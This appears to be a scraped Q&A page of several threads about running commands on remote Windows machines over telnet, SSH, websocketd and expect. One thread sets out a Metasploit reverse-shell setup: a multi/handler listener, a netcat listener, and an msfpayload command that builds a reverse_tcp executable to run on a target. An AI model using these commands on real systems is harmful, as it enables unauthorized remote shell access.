Sending data through Telnet-established connection on windows command line - windows

I have connected to an outside server using telnet on windows cmd. I have a program written in Ruby running on my local machine whose output needs to be passed as a command in the server running. How do I go about with it?

You can't. A telnet connection is pretty easy to do in Ruby though, just make your own connection.

Related

server.bash is not a valid win32 application

I'm trying to host a simple (demo) websocketd server. Basically, it listens to incoming websocket connections and routes them towards my server. However, when I run the websocketd --port=8069 server.bash (In the correct directory, websocketd running as admin) I get the following error when trying to connect to ws://localhost:8069:
Could not launch process .\server.bash (fork/exec .\server.bash: %1 is not a valid Win32 application.)
I've looked into netstat and the 8069 IS listening for incoming connections.
I've also tried running a python server (I have it installed) but I get the same error
//System Info:
I'm running x64 windows 10.
Description of websocketd from the url you provided
It takes care of handling the WebSocket connections,
launching your programs to handle the WebSockets, ....
So basically websocketd is trying to execute server.bash which doesn't work because windows doesn't recognize this file as executable.
This script was probably meant to be run on linux in the first place however if you have installed bash already on windows u can try running it by replacing
websocketd --port=8069 server.bash
with
websocketd --port=8069 bash server.bash

Standalone multi/handler reverse_tcp

Sorry for my english.
Using metasploit I generated an exploit for windows 7 with windows/shell/reverse_tcp payload.
Then I waiting connection using msfconsole:
use exploit/multi/handler
set PAYLOAD windows/shell/reverse_tcp
set LHOST 192.168.182.129
set LPORT 4444
exploit
I am successfully connected to command line of windows.
However I need to expect connection without using metasploit. I found how to create standalone module, but it was only for an exploit.
I need standalone multi/handler reverse_tcp or simply the code which listens to a certain port and then gives access to command line.
I don't really know what your constraints/restrictions are.
My guess is that, you want to "receive shells" on a computer without metasploit installed on it.If that's the case, you could use msfd(metasploit daemon installed on a different computer) or simply netcat,socat,...
What do you think of this:
listening with netcat on 192.168.1.2# nc -l -p 4444
Using a shell_reverse_tcp instead# msfpayload windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 X /root/darkbird.exe
Execute darkbird.exe on the target

Exec a program on client runs a programm on server

First of all I have spent over 4 hours researching this topic..
So I have a Windows 2008 r2 root server at the moment. I connect to it via Remote Desktop.
Now I want to write a program that runs batch files on the server but the program is at client side, I have tried to setup an SSH server on my Windows server with Freesshd.
That seems to work but the programs are not shown. (In Taskmanager are they)
Is there way (prefer SSH) to let them show normally?
The goal is to restart programs (Gameservers).
My Program will work so: if I press restart server it will connect (if SSH) via Putty to the server to exec the batch file.
Or will start another program with parameters something like this:
Clientprogramm -ip 95.25.115.** -user Administrator -p xxxxxx C:\gameserverdir\start.bat
Simple and fine. I have done that already for Linux and there it isn't that hard.
So if you have an idea that can help me would be nice to know.
Both system are Windows!
If you are using SSH, the tool you need is plink. It's putty for command line.
Or, as indicated in comments, you can use psexec, or powershell, or vbscript, or .... BUT started programs are only "visible" in the same session from where they were started.

Telnet to Server Trying to Open Program Cant see it

I telnetted to my server and i tried to open a simple program say notepad.exe or skype.exe.For some reason on my desktop it does not open when i use telnet to do so, but a process does initiate when i run it from telnet.
How come i cant see the program open on my desktop when i telnet to my server and run a program?
I am running the telnet server on a vm and using the client on my host computer.
I run simple command like this
*===============================================================
Welcome to Microsoft Telnet Server.
*===============================================================
C:\Program Files\Skype\Phone>Skype.exe
Telnet is a text-based utility. Notepad, Skype, et al require a graphics interface not available to a telnet client, therefore they won't start. It doesn't matter that the telnet client and server are on the same hardware.
You can initiate a process on a remote machine via a telnet client because it doesn't require a user interface.

Run script on remote machine via telnet (not SSH)

I need to somehow run a script which resides on a remote machine running Ubuntu.
SSH or any other connection type that requires complex encryption is not possible.
The client that will connect to the remote machine is only capable of opening a port and sending and receiving strings.
Can anyone tell me how to do this?
Why is your remote Ubuntu machine "not natively capable of SSH". That's nonsense.
But if you want a solution, use expect - it can run ftp/telnet or any other terminal-based application. It can react to different input, and type in a password.
There are python and perl-based packages that also do this.

Resources